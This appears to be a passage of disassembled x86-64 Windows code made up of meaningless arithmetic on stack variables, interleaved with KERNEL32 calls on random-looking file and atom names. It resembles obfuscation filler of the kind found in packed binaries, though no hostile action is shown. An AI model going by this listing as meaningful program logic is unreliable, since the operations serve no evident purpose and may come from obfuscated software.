mov rax, qword [rsp + 0x13b68]
mov rcx, qword [rsp + 0x13738]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa764], eax
mov eax, dword [rsp + 0xa9a4]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa938], eax
mov rax, qword [rsp + 0x13928]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13548]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b1], al
movzx eax, word [0x14035cbe0]
mov word [rsp + 0x2aa4], ax
mov rax, qword [rsp + 0x13498]
mov ecx, dword [rsp + 0xa8dc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
lea rax, [rsp + 0x9568]
mov qword [rsp + 0x13d08], rax
mov rax, qword [0x140363ad0]
mov rcx, qword [rsp + 0x13c20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13798]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9784]
mov dword [rsp + 0xaae4], eax
movzx eax, byte [rsp + 0x20a]
movzx ecx, byte [rsp + 0x6c9]
sar eax, cl
mov rcx, qword [0x140363980]
mov byte [rcx], al
movzx eax, word [0x14035cbfc]
movzx ecx, word [rsp + 0x29dc]
shl eax, cl
mov rcx, qword [rsp + 0x13480]
mov word [rcx], ax
mov eax, dword [rsp + 0xa8e4]
mov ecx, dword [rsp + 0x7118]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [rsp + 0xa928]
mov qword [rsp + 0x13d10], rax
mov rax, qword [0x140363ab0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a3c]
or eax, ecx
mov word [rsp + 0x2a9c], ax
mov dword [rsp + 0x20], 0x27d0
mov r9d, 0x3198
mov r8d, 0x2815
mov edx, 0x2f67
mov rcx, qword [rsp + 0x13b50]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xaae8], eax
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + 0x92]
and eax, ecx
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0x2a58]
mov rcx, qword [0x140363a58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13758]
mov word [rcx], ax
mov rax, qword [rsp + 0x13568]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6cb]
sub eax, ecx
mov rcx, qword [rsp + 0x139e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x6304]
mov dword [rsp + 0xaaec], eax
mov rcx, qword [rsp + 0x13600]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x1403639a0]
mov ecx, dword [rsp + 0x8134]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140363b08], eax
mov eax, dword [rsp + 0x6bc0]
mov ecx, dword [rsp + 0x7200]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8ec], eax
lea rax, [rsp + 0xaaec]
mov qword [rsp + 0x13d18], rax
mov rax, qword [0x140363a00]
mov ecx, dword [rsp + 0x7c34]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13b80]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x23c]
movzx ecx, byte [rsp + 0x6b3]
or eax, ecx
mov rcx, qword [rsp + 0x133f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
movzx ecx, word [0x14035cc04]
add eax, ecx
mov word [rsp + 0x209c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9c4], eax
mov rax, qword [rsp + 0x13c50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa930]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c98]
mov dword [rcx], eax
lea rax, [rsp + 0xaa78]
mov qword [rsp + 0x13d20], rax
mov eax, dword [0x14035cbf0]
mov ecx, dword [rsp + 0x7114]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8c8], eax
lea rax, [rsp + 0x73a0]
mov qword [0x140363b38], rax
movzx eax, word [rsp + 0x184c]
mov word [rsp + 0x2aa8], ax
mov rax, qword [rsp + 0x133c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13b38]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x138b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [rsp + 0x135b8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13a98]
mov word [rcx], ax
lea rax, [rsp + 0x628]
mov qword [rsp + 0x13d28], rax
mov eax, dword [rsp + 0xa7dc]
mov rcx, qword [rsp + 0x13ac8]
mov qword [rsp + 0x13d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13d30]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa97c], eax
mov rax, qword [rsp + 0x13c60]
mov rcx, qword [rsp + 0x133f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x841c], eax
lea rdx, [rsp + 0x45d20]
mov rcx, qword [rsp + 0x13780]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa38], eax
movzx eax, word [rsp + 0x2888]
movzx ecx, word [rsp + 0x2a80]
and eax, ecx
mov rcx, qword [rsp + 0x132c8]
mov word [rcx], ax
lea rdx, [rsp + 0x13c00]
mov rcx, qword [rsp + 0x13780]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa34], eax
movzx eax, byte [0x140353573]
mov rcx, qword [rsp + 0x13548]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13870]
mov byte [rcx], al
mov rax, qword [rsp + 0x13920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa98]
add ecx, eax
mov eax, ecx
mov dword [0x140363a74], eax
lea rax, [rsp + 0xa9e4]
mov qword [rsp + 0x13d38], rax
mov rax, qword [0x1403639d8]
mov ecx, dword [rsp + 0x841c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa84], eax
mov rax, qword [rsp + 0x13490]
mov eax, dword [rax]
mov dword [rsp + 0xaaf0], eax
movzx eax, word [rsp + 0x184c]
mov rcx, qword [rsp + 0x135e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x29b8], ax
movzx ecx, word [rsp + 0x29e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2aac], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov r9d, 1
lea r8, [rsp + 0x13a08]
mov rdx, qword [rsp + 0x12f98]
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa50], eax
movzx eax, byte [rsp + 0x6ca]
movzx ecx, byte [rsp + 0x23b]
sub eax, ecx
mov byte [rsp + 0x42a], al
lea rax, [rsp + 0xaab4]
mov qword [rsp + 0x13d40], rax
mov rax, qword [rsp + 0x13c50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaabc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7908], eax
mov eax, dword [rsp + 0x9e80]
mov dword [rsp + 0xaaf4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.QRy8jrvYxfd0y
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13d48], rax
mov r9d, 0x764
xor r8d, r8d
lea rdx, [rsp + 0x13298]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaac4], eax
mov eax, dword [rsp + 0xa7d8]
mov dword [0x140363b40], eax
mov eax, dword [rsp + 0x9a80]
mov ecx, dword [rsp + 0xaa48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c34], eax
movsx eax, byte [rsp + 0x6c7]
mov rcx, qword [rsp + 0x13a00]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6bb], al
mov rax, qword [rsp + 0x135b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a5c]
sar eax, cl
mov word [rsp + 0x21a0], ax
movzx eax, word [rsp + 0x29b4]
mov rcx, qword [0x140363b30]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x135d0]
mov word [rcx], ax
lea rax, [rsp + 0x20a]
mov qword [rsp + 0x13d50], rax
mov rax, qword [rsp + 0x13bb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa938]
shl eax, cl
mov dword [rsp + 0xa97c], eax
mov eax, dword [rsp + 0xaa28]
mov dword [rsp + 0xaaf8], eax
mov rax, qword [rsp + 0x13468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x138b0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13b38]
mov byte [rcx], al
movzx eax, word [rsp + 0x17d4]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140363988]
mov word [rcx], ax
mov rax, qword [0x140363ad8]
mov ecx, dword [rsp + 0xaa08]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa87c], eax
mov rax, qword [rsp + 0x13c30]
mov ecx, dword [rsp + 0xaa88]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x870c], eax
mov rax, qword [0x1403639a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x841c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8398], eax
mov rax, qword [rsp + 0x13ca0]
mov eax, dword [rax]
mov dword [rsp + 0xaafc], eax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4bc]
add eax, ecx
mov rcx, qword [rsp + 0x13d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x138c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13948]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2a24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2994], ax
lea rax, [rsp + 0x73a0]
mov qword [rsp + 0x13d58], rax
mov rax, qword [rsp + 0x13730]
mov rcx, qword [rsp + 0x136d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13680]
mov dword [rcx], eax
lea rax, [rsp + 0x6bf]
mov qword [0x140363b48], rax
lea rax, [0x140353b08]
mov qword [rsp + 0x13d60], rax
mov rax, qword [rsp + 0x13420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x132c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x251c], ax
movzx eax, byte [rsp + 0x6c0]
movzx ecx, byte [rsp + 0x6cb]
sub eax, ecx
mov byte [rsp + 0x6be], al
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov dword [rsp + 0xab00], eax
mov rax, qword [rsp + 0x13af8]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa9c8], eax
mov rax, qword [0x1403639d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x136d8]
mov qword [rsp + 0x13d68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13d68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x92fc], eax
mov eax, dword [rsp + 0x9784]
movzx ecx, al
mov eax, dword [rsp + 0xa8bc]
sar eax, cl
mov rcx, qword [rsp + 0x13460]
mov dword [rcx], eax
lea rax, [rsp + 0xaa3c]
mov qword [rsp + 0x13d70], rax
mov rax, qword [rsp + 0x13558]
movzx eax, byte [rax]
mov rcx, qword [0x140363980]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6c1], al
movzx eax, word [rsp + 0x23cc]
movzx ecx, word [rsp + 0x29cc]
and eax, ecx
mov rcx, qword [0x140363ab8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13690]
mov rcx, qword [rsp + 0x13c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6304], eax
mov eax, dword [rsp + 0x96e4]
mov dword [rsp + 0xab04], eax
mov rax, qword [rsp + 0x136a8]
mov rcx, qword [rsp + 0x13858]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaaa4], eax
mov rax, qword [0x140363a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8414]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8994], eax
movzx eax, byte [rsp + 0x6b8]
movzx ecx, byte [rsp + 0x6be]
sub eax, ecx
mov byte [rsp + 0x6c6], al
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x209c]
and eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
lea rax, [0x14035e4a5]
mov qword [rsp + 0x13d78], rax
mov rax, qword [rsp + 0x13b88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13998]
mov word [rcx], ax
lea rax, [rsp + 0xaa08]
mov qword [0x140363b50], rax
lea rax, [rsp + 0xa350]
mov qword [rsp + 0x13d80], rax
mov rax, qword [rsp + 0x13af0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x209c]
add eax, ecx
mov word [rsp + 0x2a30], ax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c4]
add eax, ecx
mov rcx, qword [rsp + 0x13a18]
mov byte [rcx], al
mov eax, dword [rsp + 0xa3a8]
mov dword [rsp + 0xab08], eax
mov rax, qword [rsp + 0x13320]
mov rcx, qword [rsp + 0x13808]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13b78]
mov dword [rcx], eax
lea rax, [rsp + 0xaab8]
mov qword [rsp + 0x13d88], rax
mov eax, dword [0x1403639b8]
mov ecx, dword [rsp + 0xa724]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa1c], eax
mov rax, qword [rsp + 0x13420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a4]
add eax, ecx
mov rcx, qword [rsp + 0x13948]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6ca]
mov rcx, qword [rsp + 0x13598]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140353582], al
mov rax, qword [rsp + 0x13370]
mov eax, dword [rax]
mov dword [rsp + 0xab0c], eax
mov rax, qword [rsp + 0x139f8]
mov rcx, qword [rsp + 0x13380]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x71c4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab10], eax
movzx ecx, word [rsp + 0x2a70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29ac], ax
mov rax, qword [rsp + 0x13d70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13588]
mov qword [rsp + 0x13d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13d90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9370], eax
mov rax, qword [rsp + 0x13b30]
mov eax, dword [rax]
mov ecx, dword [0x14035cbf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9b4], eax
lea rdx, [rsp + 0x138f8]
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xab14], eax
mov rax, qword [rsp + 0x13910]
mov eax, dword [rax]
mov dword [rsp + 0xab18], eax
mov rax, qword [rsp + 0x13108]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x131b8]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x29f4], ax
mov rax, qword [rsp + 0x13d28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13d78]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13830]
mov byte [rcx], al
lea rax, [rsp + 0x1a2c]
mov qword [rsp + 0x13d98], rax
mov rcx, qword [rsp + 0x13bc0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x6c4]
movzx ecx, byte [0x140353577]
and eax, ecx
mov rcx, qword [0x140363970]
mov byte [rcx], al
mov eax, dword [rsp + 0x99e8]
mov ecx, dword [rsp + 0x7a24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa948], eax
lea rax, [rsp + 0xa948]
mov qword [rsp + 0x13da0], rax
mov rax, qword [rsp + 0x138a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68e]
or eax, ecx
mov rcx, qword [rsp + 0x13598]
mov byte [rcx], al
movzx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0x13ae8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x29c8], ax
mov rax, qword [rsp + 0x13728]
mov ecx, dword [rsp + 0xa3f4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7410], eax
mov eax, dword [rsp + 0x7a08]
mov ecx, dword [rsp + 0xa948]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13938]
mov dword [rcx], eax
lea rax, [rsp + 0xa8ec]
mov qword [rsp + 0x13da8], rax
mov rax, qword [rsp + 0x13498]
mov ecx, dword [rsp + 0x841c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa974], eax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x133c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140363aa8]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2994]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a24], ax
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13ae8]
mov word [rcx], ax
lea rax, [rsp + 0xa278]
mov qword [rsp + 0x13db0], rax
mov rax, qword [0x140363b38]
mov ecx, dword [rsp + 0x765c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6554], eax
lea rcx, str.dXHSnqh_ARFG_KySXCEp.wTCB1v
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ab0], ax
movzx eax, word [rsp + 0x2a74]
mov word [rsp + 0x2ab4], ax
mov rcx, qword [rsp + 0x13298]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x135f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6ba]
shl eax, cl
mov byte [rsp + 0x5fd], al
lea rdx, [rsp + 0x45cb0]
mov rcx, qword [rsp + 0x13ab0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa940], eax
mov rax, qword [rsp + 0x13598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20a]
or eax, ecx
mov rcx, qword [rsp + 0x13b38]
mov byte [rcx], al
movzx eax, word [rsp + 0x17d4]
mov word [rsp + 0x2ab8], ax
mov eax, dword [rsp + 0xa8d0]
mov ecx, dword [rsp + 0xaa44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c88], eax
lea rcx, str.EKRITE1Y_TLKcjcX
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2abc], ax
lea rax, [rsp + 0xa4c4]
mov qword [0x140363b58], rax
lea rax, [rsp + 0xaa70]
mov qword [rsp + 0x13db8], rax
mov r9d, 0x1496
xor r8d, r8d
lea rdx, [rsp + 0x13600]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa9a8], eax
mov eax, dword [rsp + 0xa030]
mov ecx, dword [rsp + 0xaa20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c88], eax
lea rax, [rsp + 0x66e0]
mov qword [rsp + 0x13dc0], rax
movzx eax, word [rsp + 0x23cc]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29e4], ax
mov rax, qword [rsp + 0x13a18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23c]
and eax, ecx
mov byte [rsp + 0x6c9], al
lea rax, [0x140363b40]
mov qword [rsp + 0x13dc8], rax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa8e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa80], eax
lea rax, [rsp + 0x8178]
mov qword [rsp + 0x13dd0], rax
lea rax, [0x140363b08]
mov qword [0x140363b60], rax
movzx eax, word [rsp + 0x1778]
movzx ecx, word [rsp + 0x2a18]
or eax, ecx
mov rcx, qword [rsp + 0x13208]
mov word [rcx], ax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ce]
sub eax, ecx
mov rcx, qword [rsp + 0x133f0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x6bf]
mov rcx, qword [rsp + 0x13918]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x28f], al
mov rax, qword [rsp + 0x13428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
and eax, ecx
mov rcx, qword [rsp + 0x139d8]
mov word [rcx], ax
lea rax, [rsp + 0xaadc]
mov qword [rsp + 0x13dd8], rax
mov rax, qword [rsp + 0x13760]
mov eax, dword [rax]
mov ecx, dword [0x14035cc08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e84], eax
mov rax, qword [rsp + 0x13718]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b3]
sar eax, cl
mov rcx, qword [rsp + 0x13850]
mov byte [rcx], al
lea rax, [rsp + 0x2a54]
mov qword [rsp + 0x13de0], rax
mov eax, dword [rsp + 0x70b8]
movzx ecx, al
mov eax, dword [rsp + 0xaaec]
shl eax, cl
mov rcx, qword [0x140363b10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x13bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x96e4], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8aa
mov r9d, 0xab2
mov r8d, 0x2a19de82
mov edx, 2
mov rcx, qword [rsp + 0x13780]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa94c], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov dword [rsp + 0xab1c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13de8], rax
lea rdx, [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa74], eax
mov eax, dword [rsp + 0x99e8]
mov ecx, dword [rsp + 0xaaac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b48]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x29c0]
movzx ecx, word [rsp + 0x2ab8]
and eax, ecx
mov word [rsp + 0x16a4], ax
movzx eax, byte [rsp + 0x6b3]
movzx ecx, byte [rsp + 0x6b4]
sub eax, ecx
mov rcx, qword [rsp + 0x13890]
mov byte [rcx], al
lea rdx, [rsp + 0x13980]
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa8f0], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xab1c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13bb0]
mov dword [rcx], eax
lea rax, [rsp + 0xa950]
mov qword [rsp + 0x13df0], rax
mov rax, qword [0x140363ad8]
mov rcx, qword [rsp + 0x13280]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13bf8]
mov ecx, dword [rsp + 0x9370]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140363a70], eax
lea rax, [rsp + 0xaa30]
mov qword [rsp + 0x13df8], rax
mov rax, qword [rsp + 0x134f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ab8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13a70]
mov byte [rcx], al
mov rax, qword [rsp + 0x135b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
or eax, ecx
mov word [rsp + 0x2a1c], ax
mov rax, qword [rsp + 0x13650]
movzx eax, byte [rax]
mov byte [rsp + 0x6cf], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
lea rcx, [0x1403300cc]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ac0], ax
movzx eax, word [rsp + 0x29f0]
movzx ecx, word [rsp + 0x29a0]
add eax, ecx
mov word [rsp + 0x2484], ax
mov dword [rsp + 0x20], 0x34ea
mov r9d, 0x5fb
mov r8d, 0xcfd
mov edx, 0x2647
mov rcx, qword [rsp + 0x13940]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa9fc], eax
mov rcx, qword [rsp + 0x13200]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa924], eax
mov rax, qword [rsp + 0x13d20]
mov ecx, dword [rsp + 0xaa08]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x874c], eax
mov rax, qword [rsp + 0x13538]
mov ecx, dword [rsp + 0x9e84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13610]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13240]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
lea rax, [rsp + 0x6c9]
mov qword [0x140363b68], rax
mov rax, qword [rsp + 0x13808]
mov eax, dword [rax]
mov dword [rsp + 0xab20], eax
mov rax, qword [rsp + 0x13b80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b2c]
sar eax, cl
mov rcx, qword [rsp + 0x139c8]
mov dword [rcx], eax
lea rax, [rsp + 0xaa7c]
mov qword [rsp + 0x13e00], rax
mov rax, qword [rsp + 0x13490]
mov rcx, qword [0x140363a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13770]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29d0]
or eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, [0x1403300d0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13e08], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa964], eax
lea rax, [rsp + 0x6b9]
mov qword [rsp + 0x13e10], rax
mov rax, qword [rsp + 0x138b8]
mov eax, dword [rax]
mov ecx, dword [0x14035cc08]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8fc], eax
lea rax, [rsp + 0xa8bc]
mov qword [rsp + 0x13e18], rax
mov rax, qword [rsp + 0x13810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x628]
and eax, ecx
mov rcx, qword [0x140363b48]
mov byte [rcx], al
movsx eax, word [0x140353b08]
mov rcx, qword [rsp + 0x13950]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13348]
mov word [rcx], ax
lea rax, [rsp + 0x6c1]
mov qword [rsp + 0x13e20], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
movzx eax, word [rsp + 0x16a4]
movzx ecx, word [rsp + 0x26a8]
sub eax, ecx
mov rcx, qword [rsp + 0x13420]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0x137c8]
mov rdx, qword [rsp + 0x13e28]
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa00], eax
mov rax, qword [0x140363978]
mov rcx, qword [rsp + 0x13ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13b68]
mov dword [rcx], eax
lea rax, [rsp + 0x9568]
mov qword [rsp + 0x13e30], rax
mov rax, qword [rsp + 0x13d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ce0]
mov dword [rcx], eax
lea rax, [rsp + 0xa99c]
